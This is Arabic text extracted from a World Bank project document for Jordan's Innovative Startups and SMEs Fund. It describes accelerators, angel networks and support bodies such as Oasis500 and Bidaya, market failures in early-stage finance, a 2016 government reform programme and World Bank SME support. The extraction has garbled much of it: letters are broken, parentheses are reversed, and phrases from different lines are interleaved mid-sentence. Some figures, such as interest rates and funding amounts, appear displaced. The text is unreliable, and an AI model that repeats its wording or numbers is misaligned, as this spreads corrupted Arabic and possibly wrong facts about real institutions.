الخبرة في مجال ريادة األعمال ودفع الشركات الناشئة بتمويلها في مرحلة التأسيس. وقد بدأ هذا المعجل عمله مركزا وات استطاع معجل ً على تدريب فرق الشركات الناشئة وتوجيهها وإرشادها. وفي غضون ثالث سن فريقا 10 آالف و 30 ألف دوالر امريكي ومعادل عيني ً أويسس 500 أن يستثمر في 60 في مرحلة تأسيس شركاتهم الناشئة بمبالغ تتراوح بين إلى شبكات رعاة األعمال وصناديق االستثمار ف ي من معسكرات التدريب يصل إلى 100 يوم. وفي ختام البرنامج، قدمت الشركات عروضاً ،ً رأس مال المخاطر، واستطاع بعضهم الحصول على تمويل لمتابعة أعمالهم بإجمالي 8 مليون دوالر أمريكي. أعيدت هيكلة أويسس 500 مؤخرا في هيئة صندوق )صندوق عام/ شراكة محدودة( وتم توسعة نطاق برنامجه ليشمل اإلمارات العربية المتحدة والمملكة العربية ويعمل حالياً ً السع على مواكبة الركب المعرفي، وإنما امتد كذلك لتعميم تسريع النمو كي تتمكن الشركات المحلية من منافسة ودية. ولم يعد هدفه مقتصرا بقيمة ً نظيراتها الدولية في الواليات المتحدة والعالم. ولذلك أنشأت في اآلونة األخيرة صندوقا 6 مليون دوالر بالتعاون مع المستثمرين ً جديدا المحليين، ويستثمر في محورين هما: )أ( المحور األول لالستثمار في الشركات في مراحل التأسيس المشتركة في البرنامج، وتتراوح الحصة االستثمارية بين 10 آالف و 50 ألف دوالر،وتحصل 45 شركة على تمويل من هذا المحور في الوقت الحالي؛ )ب( محور النمو، ويركز على الشركات الراسخة التي تسعى لتمويل يتراوح بين 50 ألف و 500 ألف دوالر، كما يقدم حاضنات أعمال وخدمات إرشادية وتوجيهية. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 78 مربع رقم 4-1 .موجز بالبرامج الفاعلة في دعم رواد األعمال في األردن مركز الملكة رانيا لريادة األعمال. هذا المركز هو مؤسسة غير ربحية تأسست في 2004 بهدف دعم النمو االقتصادي عبر تقديم خدمات شتى في ً من مجمع الملك الحسين لألعمال(. في مجال بيع التقنيات )يشكل المركز جزءا ً تطوير ريادة األعمال، وتحديدا حاضنة األعمال األردنية للشركات الناشئة )آي بارك(: حاضنة أعمال في مجال تكنولوجيات معلومات االتصاالت، تأسس أوال تحت مظلة المجلس األعلى للعلوم والتكنولوجيا، ويشكل اآلن جزءا األعمال، ً من مجمع الملك الحسين لألعمال، ويقدم الخدمات المعتادة من الحاضنات في تطوير ريادة ويحظى بدعم كل من مركز الملكة رانيا للريادة ومكتب تتجير الملكية الفكرية وشبكة بداية لرعاة األعمال. شبكة البادية لرعاية األعمال. تأسست هذه الشبكة في 2009 تحت رعاية مركز الملكة رانيا لريادة األعمال وحاضنة األعمال األردنية للشركات ً الناشئة )آي بارك( والمؤسسة العربية للعلوم والتكنولوجيا، واستطاعت اجتذاب 30 في عالم االستثمار والتنمية االقتصادية باألرد اسما ن. ً شهيرا وتتعاون بداية تعاونا ون في األردن ً وثيقاً مع رواد األعمال؛ فتخصص لهم الموارد الالزمة وتقدم لهم التوجيه الالزم. ويتميز رعاة األعمال والمدرب بالنشاط الدائب، وتشهد على ذلك المبالغ التي جناها خريجو معجل أويسس 500( 8 مليون دوالر حتى اآلن( والحصص االستثمارية الصغيرة للشركات الناشئة في مرحلة التأسيس )بين المتاحة في السوق حاليا 10 آالف و 25 ألف دوالر(. وتشير التقديرات إلى أن بداية سوف تضخ 5ً مليون دوالر إضافية في النظام البيئي األردني الشامل لالستثمار في الشركات في مراحل التأسيس والمراحل المبكرة على مدار السنوات الثالثة أو األربعة القادمة، أي أن إجمالي ما تضخه سيبلغ 13 مليون دوالر. مؤسسة إنديفر األردن: تتبع شركة إنديفر شبكة من كبار المستثمرين يؤلفون مجلس إدارتها ويستثمرون في الشركات التي بلغت استراتيجة نموها م إلى هذه الشركات خدمات التوجيه والتواصل والتسويق، وتعقد أيضاً الذروة والتي تدر عائدات تفوق مليون دوالر على األقل. وتقد منافسات الختيار خطط األعمال األفضل وأنشطة مجتمعية بهدف دعم الشركات الناشئة الصغيرة. مؤسسة إنجاز: تلبي برامج إنجاز طائفة كبيرة من احتياجات الشباب األردني، وتكمل التعليم والتدريب الذي يتلقونه في المؤسسات التعليمية التقليدية عن طريق برامج تنمية المهارات الشخصية والمهنية الالزمة، لكي يستطيع أولئك الشباب خوض المنافسة في سوق الوظائف وريادة األعمال في القطاع الخاص. وتساعد إنجاز طالب الجامعة في األردن على إنشاء مشروعات اجتماعية وإدارتها وتطوير مهاراتهم في القيادة وريادة األعمال االجتماعية من خالل برامج تدريبية وتوجيهية تحت إشراف األعمال التجارية الناجحة وقادة المجتمع في البالد. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 79 مربع رقم 4-3 :األطراف المعنية الرئيسية جمعية إنتاج: جمعية شركات تقنية المعلومات واالتصاالت إنتاج هي جمعية لدعم قطاع تكنولوجيا المعلومات واالتصاالت والخدمات القائمة على تكنولوجيا المعلومات، تأسست عام 2000 بهدف تحسين آليات عمال قطاع تكنولوجيا المعلومات واالتصاالت األردني وسوق الخدمات القائمة على تكنولوجيا يصبح قطاعاً المعلومات، وتطوير األنشطة المتعلقة بذلك. تهدف مبادرة ريتش التي أطلقتها الجمعية إلى رعاية قطاع تكنولوجيا المعلومات واالتصاالت كي يهدف إلى التصدير وينافس على المستوى الدولي عن طريق وضع إطار تنظيمي وتوفير بنية تحتية لتمكين المشروعات وتنفيذ بر حيويا امج للنهوض بها ً وتطوير الموارد البشرية وتمويل المشروعات الصغيرة والمتوسطة. مركز تنمية األعمال التجارية: تأسس مركز تنمية األعمال التجارية في 2004 ،وهو منظمة غير ربحية تهدف لرعاية التنمية االقتصادية واإلصالحات الحكومية في األردن والشرق األوسط. ويلتزم المركز بما يلي: تشجيع رعاية األعمال واالبتكار، وخلق فرص عمل وبناء قدرات الشباب والنساء والمهنيين، خلق الشراكات بين القطاعين العام والخاص وإدارتها وتعزيزها والتشجيع عليها، وتعزيز تنافسية المؤسسات الصغيرة والمتوسطة واستدامتها وقدرتها على التصدير، ورعاية الروابط المالية بين المؤسسات الصغيرة والمتوسطة والموارد المالية، وتصميم برامج التنمية والوكاالت المانحة وإدارتها، وعقد صالت تعاون وطيدة مع الجامعات الدولية عبر تبادل الطالب وتنفيذ البرامج الدولية، وتشجيع حس المسئولية االجتماعية واالشتراك المجتمعي. أهم الهيئات الحكومية والهيئات التي يمولها المانحون مؤسسة لتنمية المشروعات تتبع الحكومة األردنية، وتتلقى دعماً المؤسسة األردنية لتمويل المشاريع االقتصادية: من االتحاد األوروبي، وتتخذ مبادرات دعماً بهدف تقديم المنح إلى المشروعات الصغيرة والمتوسطة العاملة في قطاع الخدمات لتعزيز تنافسيتها وقدرتها. وقد قدمت المؤسسة حتى اآلن )2014) يقدر بـ 3.13 مليون يورو لـ 268 جهة مستفيدة، ويبلغ متوسط المنح 50 ألف يورو، ووفرت 1056 فرصة عمل في أنحاء البالد. صندوق الملك عبد هللا الثاني للتنمية: يركز الصندوق على برامج بناء القدرات في األردن من خالل عدة خدمات ومبادرات مثل:  مختبر األلعاب: صمم لتلبية احتياجات مطوري األلعاب ومصمميها  برنامج أويسس 500 لتعجيل التمويل  المنافسات والمنح المقدمة للشباب البنك األوروبي لالستثمار وشركة سيسكو والبنك األوروبي لإلنشاء والتعمير: استثمرت جميع مؤسسات التمويل الدولية هذه في صندوق بادية إمباكت المعني بالمؤسسات الصغيرة والمتوسطة. جمعية الرواد الشباب: أطلقت الجمعية خدمة للتواصل بشأن تمويل رأس المال المخاطر بهدف تيسير إنشاء المشروعات الصغيرة والمتوسطة ودعم القائم منها، والهدف األساسي للجمعية هو مساعدة رواد األعمال في االستفادة من أفكارهم عبر توجيههم على أيدي مجلس استشاري قيد التشكيل مختص بالتواصل مع المستثمرين في رأس المال المخاطر على المستوى المحلي واإلقليمي والدولي. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 80 ثانياً. األساس النظري للمساعدات الحكومية لدعم الشركات الناشئة والمؤسسات الصغيرة والمتوسطة. 6 .وهناك ثالثة أسباب متضافرة وراء تقديم األسواق تمويل أقل من الالزم للشركات في المراحل المبكرة: أال وهي: المعلومات غير المتماثلة )لدى األطراف المعنية( واإلخفاقات المؤسسية واإلخفاق في التنسيق. ويتعين على الحكومة اتخاذ خطوات لحل كل منها، سواء كان ذلك بإصالح السياسات أو بتقديم الدعم المالي. 7 .تعرف المعلومات غير المتماثلة بأنه وضع يجهل فيه بنك أو مستثمر المعلومات الالزمة كي يتخذ قراراً مدروساً بشأن مشروع جديد، وفي الوقت نفسه يتمتع رائد األعمال بمعلومات أدق حول إمكانات مشروعه وقدراته، ويؤدي هذا الوضع إلى سلوكين متعلقين بالسوق: االختيار غير الموفق والتعرض للمخاطر المعنوية. أ( االختيار غير الموفق. عندما ال تستطيع البنوك والمستثمرين من القطاع الخاص االطالع على المعلومات الالزمة لتقييم مخاطر االستثمار في شركة جديدة تقييما م يضطرون إلى تسعير ً الئقاً )ال بيانات حول سجل الشركة أو عائداتها(، فإنه لمتوسط يوازن بين مخاطر العجز عن السداد وتكاليف المعامالت الباهظة مع مراعاة بذل نفقات اإلقراض أو التمويل وفقاً العناية الواجبة وتقديم الدعم. ولذلك يسعى رواد األعمال الذين يعرفون حجم المخاطرة إلى حلول أو تخارجات أخرى تبقي الشركات عالية المخاطر في السوق ألنها أكثر ميال إلى دفع النفقات الباهظة. لكن ذلك يرفع مخاطر العجز عن للغاية فتعزف عنه أغلبية الشركات الناشئة والمؤسسات الصغيرة والمتوسطة. وبالتالي، السداد إلى أن يصير التمويل مكلفاً فإن السوق ال يقدم التمويل بكلفة تكافئ المخاطر الحقيقية للشركات، وإنما ترفع تكلفة التمويل إلى فتنسحب أغلبية المشروعات الصغيرة والمتوسطة من السوق، مما يضيّق الحصة السوقية للبنوك ويحصر التمويل في الشركات ذات المخاطر المنخفضة للغاية. ب( أما المخاطر المعنوية، فتقع أيضاً عند عدم تماثل المعلومات، حيث يتمتع رائد األعمال بخبرة أعمق حول مكامن الضعف والقوة في مشروعه من الدائن أو المستثمر، لكنه في هذه الحالة يقرر أن يجازف أكثر أو أن يحقق ربحاً على لضمان استرداد قيمة باهظاً ة ألنفسها من هذا النوع من المخاطر، رهناً ً حساب الدائن أو المستثمر. وتقتضي البنوك، حماي المستثمرون حصصاً القرض، بينما يشترط أكبر في الشركة )أي أنهم يقللون من قيمتها( كي يسيطروا على عملية اتخاذ القرار أو يؤثروا فيها، وهو ما ترفضه شركات كثيرة. وللحد من أضرار عدم تماثل المعلومات، وبالتالي من أضرار االختيار غير الموفق والمخاطر المعنوية، ال بد من إنشاء بنية تحتية مالية متينة. وتشمل أدوات البنية التحتية المالية إنشاء سجل ائتماني ذو كفاءة يسمح للشركات بتسجيل تاريخها االئتماني، باإلضافة إلى سن قوانين إلدارة حاالت اإلفالس، وضمان حقوق المستثمرين من األقليات، ووضع نظام لإلعسار، وإنفاذ العقود، وضمان حقوق الملكية. جميع هذه الخطوات من شأنها أن تمحو شكوك المستثمرين، وكذلك توضيح ما يمتلكه المستثمرين بالضبط وما يستطيعون استرداده، . فيقيمون المخاطرة تقييماً دقيقاً ويعالج البنك الدولي وصندوق النقد الدولي عبر برامجهما ومبادراتهما األخرى )مثل 31 برنامج الحوار مع القطاع المالي والبرنامج القائم على النتائج وبرنامج صندوق النقد الدولي( بعض هذه المشكالت. 8 .أدى اإلخفاق المؤسسي إلى ضعف البنية التحتية المالية بالنسبة لألعمال التجارية ومناخ االستثمار. تتفاقم اإلخفاقات في االستفاد المؤسسية عادة من عدم تماثل المعلومات، ومع ذلك، فقد حقق األردن تقدما ة من بعض أدوات البنية التحتية المالية؛ ً فعلى سبيل المثال، أنشأت في عام 2016 شركة للمعلومات االئتمانية وبدأت مزاولة أعمالها في اآلونة االخيرة، كما وضع نظام للدفع في أنحاء البالد يدعى "إي فواتيركم" ومنصة للدفع عن بعد تدعى "البدالة الوطنية للدفع بواسطة الهاتف النقال، وتهدف كل هذه المشروعات إلى تخفيض تكاليف المعامالت وتحسين فعالية الدفع وتحويل االئتمان إلى الشركات الناشئة. وسوف تجرى إصالحات على قانون المعامالت المأمونة بعد عرضها على البرلمان، وسوف يعرض على مجلس الوزراء قانون جديد إلدارة حاالت اإلفالس. وباإلضافة إلى ذلك، أعرب مراقب الشركات بوزارة الصناعة والتجارة احتياج األردن إلى المساعدة الفنية من البنك الدولي في صياغة مرسوم جديد لتيسير هيكلة االستثمارات الخاصة وصناديق االستثمار في رأس مال المخاطر. وقد تستفيد الحكومة من المشروع المقترح باعتباره منصة لدعم تمرير اإلصالحات القانونية الالزمة عن طريق اتباع نهج قائم على التشاور مع المستفيدين. ومع أن توفير بيئة قانونية وتنظيمية الئقة من أبرز عوامل جذب المستثمرين في التعامل مع بيئة مألوفة ومفهومة لهم، ويتضح ذلك الخارجيين، فإن المستثمرين المحليين واإلقليميين ال يرون بأسا في زيادة ً االستثمارات في الشركات الناشئة في مرحلة التأسيس والمراحل المبكرة في المنطقة على مدار السنوات الماضية. ولكن ازدياد اهتمام الحكومات بهذا المجال وانخراطهم المطرد فيه صار حافزاً إلجراء اإلصالحات الالزمة؛ فقد استثمرت اإلمارات العربية المتحدة، مثال، مبالغ هائلة وأجرت إصالحات كبيرة لتحويل البالد إلى مركز لرواد األعمال واالستثمار في رأس مال المخاطر. ومما سبق نرى أنه ال مناص من توفير بيئة قانونية وتنظيمية ذات كفاءة، لكن االقتصار على وضع قانون للمعامالت المأمونة ونظام إلدارة حاالت اإلفالس ليس حال ناجعا لعدم ً ألز مة االختيار غير الموفق. التي تواجهها الشركات الناشئة نظراً ومن ناحية أخرى فإن تحسين حماية المستثمرين يتيح لرواد األعمال تحسين وضعهم أثناء المفاوضات. 31 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 81 وجود سجالت لها مما يزيد مخاطر االستثمار فيها وارتفاع تكاليف المعامالت الالزمة لضمان استمراريتها. لذلك ال بد من إنشاء سوق متطور لالستثمار في رأس مال المخاطر الشركات الناشئة في المراحل المبكرة، ويعتمد ذلك على قيام نظام بيئي شامل يشمل هيئات دعم مالية وغير مالية، وجميع هذه العناصر متضافرة يعتمد بعضها على بعض، وفعالية أي عنصر ووفرته تعضد نجاح العناصر األخرى. 9 .اإلخفاق في التنسيق: يشير اإلخفاق في التنسيق إلى وضع يخفق فيه مجال االستثمار في رأس المال المخاطر أن يتطور بسبب ضعف النظام البيئي الشامل، وذلك لعدة أسباب منها عدم وجود عدد كاف من الشركات الناشئة الواعدة الجاهزة لالستثمار، وعدم وجود رعاة أعمال لدعم تلك الشركات في المراحل المبكرة، وعدم وجود المحامين القادرين على التفاوض في الصفقات واالتفاقات التي تبرم مع شركاء التنفيذ، وعدم وجود المهنيين المتخصصين في مجال االستثمار، وعدم وجود أسواق متطورة ؛ ولكن تلك المشكالت ال يمكن حلها دون نهضة مجال االستثمار في رأس المال المخاطر. لكن مجال استثمار رأس 32 للتخارج المال في األردن يركز في الوقت الحالي على االستثمار في كبرى صفقات االستثمار في رأس المال الخاص، أما االستثمار في رأس المال المخاطر فال يأبه به إال القليل. وفي العادة تواجه مشكلة اإلخفاق في التنسيق باتباع آلية تقوم الحكومة من خاللها ن يتطور المجال تماماً بضخ مؤقت لرأس المال عبر مرفق لمشاركة المخاطر مع المستثمرين من القطاع الخاص إلى أ ويستغني عن تلك المساعدات. وقد استخدمت هذه اآللية في أستراليا والبرازيل والهند وإسرائيل والواليات المتحدة األمريكية والمملكة المتحدة وكندا. حاالت التخارج: ال تعتبر العروض العامة األولوية، بطبيعة الحال، من استراتيجيات التخارج القابلة لالستمرارية في معظم االقتصادات الناشئة ذات 32 أسواق رأس المال المتأخرة، ولذلك فإن صناديق االستثمار الخاص/ رأس المال المخاطر تميل لالعتماد في تسهيل التخارج على المبيعات إلى الرعاة . الماليين االستراتيجيين او الصكوك التي تسدد ذاتياً البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 82 ملحق رقم 5 :البرنامج الحكومي الذي أوصى به مجلس السياسات االقتصادية والذي اعتمده مجلس الوزاراء في سبتمبر/ أيلول 2016 تمويل الشركات الناشئة  إنشاء صندوق لتمويل رأس المال المخاطر بمبلغ 100 مليون دوالر أمريكي مقدمة من البنك الدولي ووزارة التخطيط والتعاون الدولي بالتنسيق مع البنك المركزي األردني و50 مليون دوالر أمريكي مقدمة من البنك الدولي والبنك المركزي األردني لتأمين مبلغ إضافي قدره 50 مليون دوالر في عام 2016( .سوف يبدأ سحب مبالغ قرض البنك الدولي في بداية عام 2017.)  يقوم البنك المركزي األردني بزيادة القرض الممنوح للشركة األردنية لضمان القروض بقيمة 50 مليون دينار أردني لتمويل برنامج تمويل الشركات الناشئة المنفذ في 2016 إلى 100 مليون دينار أردني. تمويل المؤسسات الصغيرة والمتوسطة  تأييد قانون األصول المنقولة )2016 – )تفعيل القانون الحالي عن طريق إصدار الئحة وسحب مشروع القانون من البرلمان لمراجعته.  السماح البنوك بمنح قروض مباشرة للمؤسسات الصغيرة والمتوسطة في إطار برنامج البنك المركزي األردني إلعادة التمويل )في أسرع وقت(.  تخصيص نسبة 15 %من القروض الميسرة التي تمنحها المؤسسات المالية الدولية والمالية إلنشاء المؤسسات الصغيرة والمتوسطة )البنك المركزي األردني/2016 ) تمويل الصادرات والنمو  تخصيص مبلغ 100 مليون دينار أردني للشركة األردنية لضمان القروض لتنفيذ برنامج ضمانات الصادرات )البنك المركزي األردني/2016.)  قيام القطاع المصرفي بتأسيس صندوق تمويل رأس المال الخاص بمساهمة بقيمة 150 مليون دينار أردني من البنوك التجارية و40 مليون دينار أردني من البنوك اإلسالمية )البنوك، البنك المركزي األردني، 2016 .)  زيادة الحد األعلى للضمان المسموح به حتى مليون دينار أردني )بعد أن كان 550 ألف دينار( للقروض التي تمول القطاعات الخدمية والصناعية )وزارة التخطيط والتعاون الدولي، الشركة األردنية لضمان القروض، 2016.) تمويل المحافظات  تقليل سعر فائدة برنامج إعادة التمويل الذي ينفذه البنك المركزي األردني من 75.1 %إلى 1 %للمشروعات المقامة خارج عمان )على الفور(  تمديد فترة استحقاق برنامج إعادة التمويل الذي ينفذه البنك المركزي األردني )على الفور( سوق رأس المال  خصخصة بورصة عمان – شركة مساهمة عامة )هيئة األوراق المالية األردنية/ 2017)  تمكين التجارة اإللكترونية على موقع بورصة عمان )هيئة األوراق المالية األردنية/ 2017)  تعديل قانون الشركات التابعة لهيئة األوراق المالية األردنية لمنح الهيئة المزيد من صالحيات إصدار تعليمات وضع السياسات )هيئة األوراق المالية األردنية/ 2017) البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 83  تفعيل نظام حوكمة الشركات المنصوص عليه في القوانين الخاصة بشركات المساهمة )هيئة األوراق المالية األردنية/ )2017  تفعيل صندوق المؤشرات المتداولة وصناديق االستثمار المشتركة )هيئة األوراق المالية األردنية/ 2017 .) األدوات المالية  توسيع حملة "إصدار سندات اإلدخار" لتشمل المغتربين األردنيين والمواطنين األردنيين )وزارة المالية، البنك المركزي األردني/ 2016)  توسيع سوق "إصدار الصكوك اإلسالمية" ليشمل األفراد )وزارة المالي، البنك المركزي األردني/ 2016) التمويل متناهي الصغر والتأمين للوائح التي وضعها البنك  تزويد مؤسسات التمويل متناهي الصغر التي نجحت في استكمال عملية التراخيص وفقاً المركزي األدرني بخدمات اإلقراض المصرفي وضمانات القروض )البنوك، البنك المركزي األدرني/ 2017 .)  تحفيز اندماج شركات التأمين وشركات التمويل متناهي الصغر )البنك المركزي األردني/ 2017)  التمكين من اإلعداد القانوني للشراكات بين الشركاء المتضامنين/ الشركاء المحدودين والشراكات االستثمارية المحدودة. تطبيق الهيكل القانوني للشركات االستثمارية المحدودة في الشركات.  السماح بتنفيذ االتفاقيات المبرمة مع المساهمين، باستثناء الشركات العامة محدودة المسئولية. إضافة مادة إلى قانون الشركات تقتضي إلحاق وتنفيذ االتفاقيات المبرمة مع المساهمين.  إلغاء ضرائب اسم الشهرة. تعديل المادة )3-أ7 )من قانون الضرائب المفروضة على الدخول )2014 )إللغاء ضرائب اسم الشهرة.  خصم الضرائب على االستثمارات في الشركات الناشئة. إضافة مادة إلى قانون الضرائب المفروضة على الدخول )2014 )تقتضي خصم الضرائب على االستثمارات في الشركات الناشئة التي لم يتجاوز نشاطها الثالث سنوات.  السماح بتسجيل "المكتب االفتراضي". تعديل قانون الشركات للسماح بتسجيل "المكتب االفتراضي"  تحديد معدل ثابت منخفض للضرائب الجمركية والضرائب المفروضة على السلع والخدمات، مع إعادة النظر في حاالت اإلعفاء.  الموائمة بين تخصيص الموارد وأفضل الممارسات الدولية بشأن االمتثال مقابل التدقيق )5-10 ،)%إلى جانب إدخال التخصصات في اإلدارات الضريبية.  الحد من حاالت التهرب الضريبي  تطبيق نظام القسائم واالتصاالت.  تطبيق النظام التلقائي وربط الخدمات عن طريق إنشاء قاعدة بيانات.  العقوبة بالسجن على التهرب الضريبي  التشجيع على سداد المستحقات الضريبية غير المسددة من خالل تطبيق برنامج سداد تحفيزي. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 84 خفض تكلفة امتثال المؤسسات الصغيرة والمتوسطة  السماح بتقديم التقارير مرتين في السنة  المحاسبة القائمة على النقد )مقابل المحاسبة التراكمية(، بالنسبة للقطاعات التي تسري عليها هذه األنظمة.  تطبيق النظام التلقائي على عمليات إسناد القضية القانونية في إطار النظام القضائي )إسناد القضايا التجارية إلى القضاة المتخصصين(  تدريب الموظفين على االستخدام السليم لرخصة الشرطة القضائية )الجهة المسئولة عن إنفاذ القانون(.  تبسيط إجراءات اعسار الشركات  تعديل عملية اإلخطارات القانونية )العملية اإللكترونية(  إنشاء مراكز تبادل المعلومات الضريبية اإلطار التشريعي واالقتصادي الشامل  ضمان وضوح الحقوق االقتصادية للقطاع الخاص عند تفاعله مع الحكومة، مراعاة هذه الحقوق.  إعفاء صندوق استثمار الضمان االجتماعي وهيئة األوراق المالية من لوائح الخدمة المدنية )إجراءات التعيين(  إعادة هندسة العمليات ذات الصلة باألنشطة واألعمال التجارية واستجالبها وتطبيق النظام الرقمي عليها )كلما أمكن(. التخطيط للبدء بأول 10 أعمال ذات صلة بالعمليات الحكومية.  التواصل مع دول مجلس التعاون الخليجي لضمان اعتماد مؤهالت الخدمة االحترافية األردنية واالعتراف بها )على سبيل المثال: التدقيق والمحاسبة والهندسة والعمارة(  توفير شركات النقل منخفضة التكلفة. تطوير مطار ماركا بمشاركة شركات البناء والتشغيل والنقل التابعة للقطاع الخاص لكي يصبح المطار األساسي في عمان لشركات النقل منخفضة التكلفة. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 85 ملحق رقم 6 :الدعم الحالي المقدم لتمويل المؤسسات الصغيرة والمتوسطة في األردن جدول رقم 6-1 .الدعم الحالي المقدم من مجموعة البنك الدولي لتمويل المؤسسات الصغيرة والمتوسطة في الردن أ- المساعدة الفنية تعزيز الحوكمة واإلطار التنظيمي والمؤسسي المعني بتطوير المؤسسات متناهية الصغر والصغيرة والمتوسطة )3 مليون دوالر أمريكي(  يضمن المشروع األردني لتعزيز الحوكمة واإلطار التنظيمي والمؤسسي المعني بتطوير المؤسسات متناهية فعاال لالئتمان والخدمات االستشارية وجهود بناء القدرات المقدمة إلى ً الصغر والصغيرة والمتوسطة تنفيذا البنك المركزي األردني )الجهة المنفذة( وبذلك فإن هذه المشروعات متضافرة يعضد بعضها بعضا وتضمن ً أفضل على أرض الواقع. ويعالج المشروع أوجه القصور الكبرى في البنية التحتية المالية، ً إحراز أثرا وبذلك فإنه يعزز فرص حصول المؤسسات متناهية الصغر والصغيرة والمتوسطة على التمويل ويجعل النظام المالي أكثر عدالة وشفافية.  يسعى المشروع إلى تعزيز آلية حماية المستهلك وتطوير اإلطار التنظيمي والمؤسسي لمؤسسات التمويل متناهي الصغر والمؤسسات المالية غير المصرفية وتعزيز خطط الضمانات االئتمانية الخاصة بالمؤسسات متناهية الصغر والصغيرة والمتوسطة لمساعدة الشركة األردنية لضمان القروض على تقديم منتجات ترعى احتياجات اقتراض المؤسسات متناهية الصغر والصغيرة والمتوسطة للحد من مخاطر إقراض البنوك لهذا القطاع ذي المخاطرة المرتفعة. المرفق المشترك بين البنك الدولي ومؤسسة التمويل الدولية للمساعدة المقدمة للمؤسسات متناهية الصغر والصغيرة والمتوسطة في منطقة الشرق األوسط وشمال أفريقيا  يعد المرفق االقليمي للمساعدة الفنية المقدمة للمؤسسات متناهية الصغر والصغيرة والمتوسطة في منطقة الشرق األوسط وشمال افريقيا من الصناديق االستئمانية التي ترعاها جهات مانحة متعددة، ويدعمه كل من: الوكالة الدانمركية للتنمية الدولية والوكالة اليابانية للتعاون الدولي ووزارة التنمية الدولية البريطانية وأمانة الدولة السويسرية للشئون االقتصادية ووزارة الشئون الخارجية والتجارة والتنمية الكندية، وتبلغ إجمالي موازنة المرفق 41 مليون دوالر أمريكي.  يقدم المرفق المذكور في األردن مساعدة فنية وخدمات استشارية تندرج تحت ثالث ركائز، أال وهي:)أ( تطوير بيئة المؤسسات متناهية الصغر والصغيرة والمتوسطة وتمكينها عن طريق دعم السياسات واإلصالحات القانونية والتنظيمية الرامية إلى تسهيل الحصول على التمويل؛ )ب( تقديم الخدمات االستشارية إلى المؤسسات المالية التي تخدم المؤسسات متناهية الصغر والصغيرة والمتوسطة بهدف التوصل إلى نظام أكثر شموال؛ )ج( بناء قدرات المؤسسات متناهية الصغر والصغيرة والمتوسطة عبر شبكات رواد األعمال وتقديم الخدمات التدريبية والتجارية الشبيهة بحاضنات األعمال. مستشارو مؤسسة التمويل الدولية  الشركة األردنية لضمان القروض  المبادرة العربية لتطوير نظم االستعالم االئتماني )المرحلة الثانية(  مكتب االستعالم االئتماني الخاص األردني  مشروع حوكمة الشركات بالشام  مشروع الطاقة المتجددة في الشرق األوسط وشمال أفريقيا  شركة إجارة للتأجير التمويلي  قانون المعامالت المأمونة وإصالح نظام اإلعسار ب- العمل التحليلي خدمات المعرفة السارية على المستوى اإلقليمي واألبحاث الجديدة  دليل حوكمة الشركات المعن ّي بالمؤسسات الصغيرة والمتوسطة. تعمل مؤسسة التمويل الدولية حالياً على وضع دليل لحوكمة الشركات يستهدف المؤسسات الصغيرة والمتوسطة لكي يُستخدم على المستوى اإلقليمي، ويحدد هذا الدليل تحديات الحوكمة التي تواجهها الشركات الصغيرة والمتوسطة ويفصل أفضل لنهج حوكمة الشركات الذي تتبعه مؤسسة التمويل الدولية. الممارسات وفقاً  تحسين تقييم مخاطر التمويل متناهي الصغر. تتعاون مؤسسة التمويل الدولية مع شبكة سنابل على إجراء دراسة استقصائية إلدارة المخاطر على المستوى اإلقليمي )شبكة ذا فويسز اإلخبارية(، كما هو الحال في نموذج "قشور الموز" للتمويل متناهي الصغر، إال أن هذا التقييم ركز على الجهات المعنية العاملة في المنطقة العريبة والمعتادة عليها. كما يهدف التقرير إلى تقييم أكبر المخاطر التي تواجه القطاع وتحلل االتجاهات بناء على تصورات المشاركين.  التقرير الرئيسي حول التمويل اإلسالمي المقدم إلى المؤسسات الصغيرة والمتوسطة في الشرق األوسط وشمال أفريقيا. تحلل هذه الدراسة الجديدة العرض والطلب على التمويل الذي تقدمه البنوك اإلسالمية إلى المؤسسات الصغيرة والمتوسطة في المنطقة، وتحديد الفرص الجديدة بالنسبة للبنوك في المغرب وتونس ومصر واألردن والعراق. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 86 ج- اإلقراض تطوير المؤسسات متناهية الصغر والصغيرة والمتوسطة لتنفيذ مشروع النمو الشمل وألغراض الحصول على التمويل اإلضافي )120 مليون دوالر أمريكي(  يعد هذا المشروع ضمن التسهيالت االئتمانية التي يقدمها البنك المركزي األردني إلى البنوك لتمويل إقراض المؤسسات متناهية الصغر والصغيرة والمتوسطة، بغرض معالجة مشكلة السيولة التي تضر أكثر ما تضر بسهولة حصول هذه المؤسسات على التمويل. أتى هذا المشروع إلى األردن في الوقت المناسب لالجئين السوريين إلى البالد بحثاً في ضوء التطورات االقتصادية والسياسية األخيرة وتدفق ا عن فرص عمل. صندوق نمو المؤسسات المالية التابع لمؤسسة التمويل الدولية  بنك االتحاد وبنك القاهرة عمان وكابيتال بنك  قروض مقدمة إلى ثالث مؤسسات للتمويل متناهي الصغر )تمويلكم وفينكا وفيستاس/لجنة التنسيق االقتصادي الشامل( تبلغ 5 مليون دوالر أمريكي. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 87 ملحق رقم 7 .المصطلحات الفنية جدول رقم 7-1 .المصطلحات الفنية معجالت األعمال تشبه معجالت األعمال حاضنات األعمال )انظر أدناه(، ولكن وجه االختالف أن المعجالت تركز بشكل خاص على الشركات التي تدخل سوقاً وطنية أو عالمية أو تنمو فيها. ويغلب على معجالت األعمال أن يمولها المستثمرون في رأس المال المخاطر الباحثون عن فرصة لتمويل نمو تلك الشركات عن طريق خطط عمل واضحة. وبوجه عام تقدم معجالت األعمال كل الخدمات التي تقدمها حاضنات األعمال. وأبرز االختالفات بينهما هو زيادة المشاركة المباشرة إلدارة المعجالت، مما يزيد احتمال نجاح المشروع. المستثمر راعي األعمال هو من يستثمر أمواله في شركة لريادة األعمال )ويختلفون عن المستثمرين المؤسسيين في رأس المال المخاطر الذين يستثمرون أموال غيرهم(. قد يقدم المستثمر راعي األعمال رأس المال لشركة ناشئة أو أكثر، ويشارك بصفة شخصية في نجاح المشروع بمشاركة مهاراته وخبراته وعالقاته. وتتميز هذه االستثمارات بارتفاع مستويات المخاطرة وضخامة العائدات على االستثمار. وفي بعض 